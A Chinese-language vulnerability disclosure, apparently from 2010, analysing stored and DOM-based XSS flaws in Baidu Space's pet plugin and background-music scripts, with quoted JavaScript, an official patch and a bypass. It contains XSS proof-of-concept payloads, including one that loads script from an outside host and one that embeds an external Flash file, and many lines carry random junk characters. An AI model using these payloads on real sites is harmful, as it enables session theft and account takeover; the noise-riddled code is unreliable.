百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 8 ?) M" j0 W, e3 n. n5 r
) n' U7 s0 F; ]7 m- y1 Q+ k
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 6 i. v5 ]- u' ?
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
' N+ R# ?1 g5 h
% E8 ]' o' ~* L2 Q1 R" N将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
0 s5 u5 E! d* b& o其中BdUtil.insertWBR为 , L+ b! J0 e/ j9 T* a& u
function(text, step) { 5 A& \, t1 o! i- [0 e3 o
var textarea = textAreaCache || getContainer();
' @4 u) Y. J7 K- A, P if (!textarea) { 0 |( K5 A" K3 l
return text;
6 U- \: b) N& w( s& L- C }
. v7 C7 i i+ ]* r' u9 Y5 y% r textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); % ?: h, E. [& q' \1 H
var string = textarea.value; ) \0 L( Y# `4 b H1 U
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); - I9 F5 h) T9 y
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); # A8 m, V4 P1 E+ C6 R) {
return result;
j) z: P1 l. ~: c; `& f0 x/ c8 ]} 9 O! l) `, {2 t8 Q6 B+ @; q
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 7 X8 d2 n( u8 C7 v. s/ ~
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> # j$ V) Q/ F- t1 J7 e4 V$ W6 a
: c+ m! k( ]8 p0 t. U4 t二:creatbgmusic() Dom-Xss Bug
& S; F' l0 y6 c4 M( O# h百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
- i9 f7 L. [4 T' ~+ X- u7 ?2 |) ^1 S9 u2 Y
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
7 C' }9 K+ p+ c6 l. g, F" S! ~1 v! U8 q/ F$ {& r
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
. d1 W! v. I) Y3 X' R //传入的murl赋值到bgmusic1和bgmusic2中 6 c+ S3 ?+ w% ^. K) n+ A
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
" C1 i* R' v7 I# w var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
0 {8 v; k; s7 M+ l; q' W& |) ` D if (musicnum <= 1) { 3 d6 F8 o8 K( h7 o
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 9 P" f: k" j, Y
} 3 ? y# l# \ L- P4 U; Z+ m
bgmusic1 += "</OBJECT>";
' f* L q, G& h' N0 Y var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; . Z/ c. `5 d0 L5 @, c* I# U
if (musicnum <= 1) {
4 S5 Z+ Y5 P) C# z! I: | A4 P bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
6 t" \% v6 i& a% [8 [8 y" J }
8 q7 J$ B/ H$ r# ?8 D# C* `# I bgmusic2 += "> </EMBED>"; & B! O( p; F; Z6 B! y5 ^
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
) m+ {4 C) G" I4 r4 }) k var bgmus = detectWMP(); ! L" P# p5 v9 i. l5 t" _ ~
if (functype == "FckMusicHelper") {
7 T8 J0 Q" q, A6 X if (bgmus.installed) { " y6 b4 `4 e4 [, `
if (bgmus.type == "IE") {
. [2 i) r; l& | return bgmusic1; & i8 M1 K, E( ~+ l& }0 ~1 ?* C
} else if (bgmus.type == "NS") { & D& l- D% B$ Q5 K2 e/ L
return bgmusic2;
9 i1 G8 t% D$ k ?* O } + k/ T: K3 Q/ F1 E3 m
} else { % |$ I" J2 a/ o' E. g9 B$ ? G
return bgmusic3;
4 s2 [+ A, b) f* Q }
4 [5 W9 u, [2 ?5 X! \- X } else {
$ ]5 G# U$ G8 W2 o5 E4 m7 ] if (bgmus.installed) { 9 a- O, y2 G P q
//document.write 直接输出bgmusic变量 导致xss , {" M- ?) j' _" h1 m
if (bgmus.type == "IE") {
! R, `: @) A) { document.write(bgmusic1); 5 _7 R9 P3 |0 H! ^: I
} else if (bgmus.type == "NS") {
1 R, {+ y+ \; n4 H2 f& A document.write(bgmusic2);
6 P! [* u! W2 J/ h. j6 k } 0 B! A- u' j4 L; }* [' _5 Q* |5 O
} else {
r! N3 R, @. O/ ]) I6 e document.write(bgmusic3); A: L' {( F6 E
} - q0 r8 b, A4 r
return "";
0 I/ G) V; w5 _! }. V k+ q }
) }% \4 T+ C: t}
& x0 f- ?0 _- ] T" F5 Z; ~4 [$ y
, |$ l5 K$ F3 [3 B$ n4 o7 G! _2 K+ K在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
4 M; i& |- y( W: h: M$ E1 i6 N+ P x
function initBlogTextForFCK(){ X3 H9 e% _3 P1 O) Q9 z
//fck init music 9 ~9 h& n% ?5 E4 _; l5 ^4 v* E: W! ^4 }
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} r' M# {4 i1 A4 T1 O
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 - A4 l: i @! b, z4 f; A
var isAutoPlay=true;
9 H2 _6 c, {! p1 yfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
/ f- {+ o* S$ i! l- D, |; m var img=imgBox; 8 a) \* j. a5 K+ s. s/ i# G3 N
if(img.getAttribute(’rel’)){ . d/ |; i+ t% ^/ P v8 y+ e
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
8 `9 Q0 F, o' \2 u; H0 F0 ~ var musicDiv = document.createElement("SPAN");
% a, C, a* o2 c var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
) W! t1 M# v' h Z. L; I " T* k2 u' T6 ?$ F/ Y& N$ s
..........................
( u+ V# m: f- c" @3 U) P x
$ y6 d- Z2 s$ g/ |8 r+ I! C$ s3 @ //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
; Q7 K6 @: i+ @: Z. L var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 0 A. ~# N9 y5 j6 W. Y
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 8 V7 {0 C' ` x% i9 _, Q2 M7 @
musicDiv.innerHTML=shtml;
6 {. `+ W7 I3 c% j8 ?; ` i--;n--;
' o2 ?0 _4 M1 \, c d+ W0 H7 @! V } 0 F C: o7 J, l$ ?9 S) O1 ^+ C
} & k# s/ k- ~* `8 Y. W0 R
8 T$ G% _. r& C- B, N! J j从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. " }6 n, H5 i& J0 \: P9 C
( K' G3 Y, H$ K' w4 q9 d' _4 w测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
/ f+ d; }! [6 v. Y$ r' [& h( z j: _5 |- b
等待官方补丁 9 {) s: m0 |8 B! O, R
0 H6 |, \! E& Mupdate 2010年5月13日 2 k( Y, v# B! ^( N+ W" a
3 D! N; h* N% J& O
官方补丁:
$ Y1 N$ s9 b. @% ]- s8 n$ ~# v% P# G
6 H+ x3 y- f2 X ivar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
A6 y8 }& [: W+ |& M改为: 4 x$ h j4 w: x) H
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
) G# ?5 h+ S; u, M" R4 `
+ D% t4 o) T. c; T: R: [: xupdate 2010年5月13日 21:50:37 # ?* b; t7 h; y* |( S
c& v) e; R* ~) u: c, D# Z
补丁存在漏洞 没有过滤" 可以继续跨:
' e' }4 N( n) x6 t6 d
! J- i" I0 G# l* K4 zNEW POC:
: i' j9 A, i \, b7 ]# X: \4 }/ m% ]2 S: p9 m; p& W9 `$ i
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 4 }) j' b" } t: O' g
) F9 r) U) O8 v2 [3 J
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>, ]: }- z, Z9 D# Y1 D
% D) `* L9 G9 u/ ^ {$ K |